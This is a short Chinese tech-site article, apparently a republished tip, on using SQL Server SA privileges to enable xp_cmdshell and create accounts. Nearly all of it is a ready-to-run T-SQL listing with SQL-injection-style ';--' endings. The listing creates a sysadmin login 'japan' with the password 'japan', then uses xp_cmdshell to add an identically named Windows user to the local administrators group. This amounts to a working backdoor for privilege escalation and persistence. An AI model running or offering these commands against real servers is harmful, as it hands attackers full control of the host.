通过SQL Server SA权限创建系统用户

通过SQL Server SA权限,可以实现许多的操作,下面为您介绍的是通过SQL Server SA权限创建系统用户的方法,希望对您学习SQL Server SA权限的使用能有所启迪。

 
 
 
  1. --enabble xp_cmdshell  
  2. EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE  
  3. go  
  4. EXEC sys.sp_configure N'xp_cmdshell', N'1'  
  5. go  
  6. RECONFIGURE WITH OVERRIDE  
  7. go  
  8. EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE  
  9. go  
  10.  
  11. -- Unenable xp_cmdshell  
  12. EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE  
  13. go  
  14. EXEC sys.sp_configure N'xp_cmdshell', N'0'  
  15. go  
  16. RECONFIGURE WITH OVERRIDE  
  17. go  
  18. EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE  
  19. go  
  20.  
  21. -- 通过xp_cmdshell 创建操作系统用户, japan 是用户名及密码  
  22. exec master.dbo.sp_addlogin japan;--     
  23. exec master.dbo.sp_password null,japan,japan;--     
  24. exec master.dbo.sp_addsrvrolemember japan,sysadmin;--     
  25. exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--     
  26. exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add';--     
  27.  
  28.  

 

 

 

【编辑推荐】

SQL Server SA权限小技巧

SQL数据库操作授权

增加SQL用户名的方法

SQL Server用户权限详解

SQL2000创建角色示例

THE END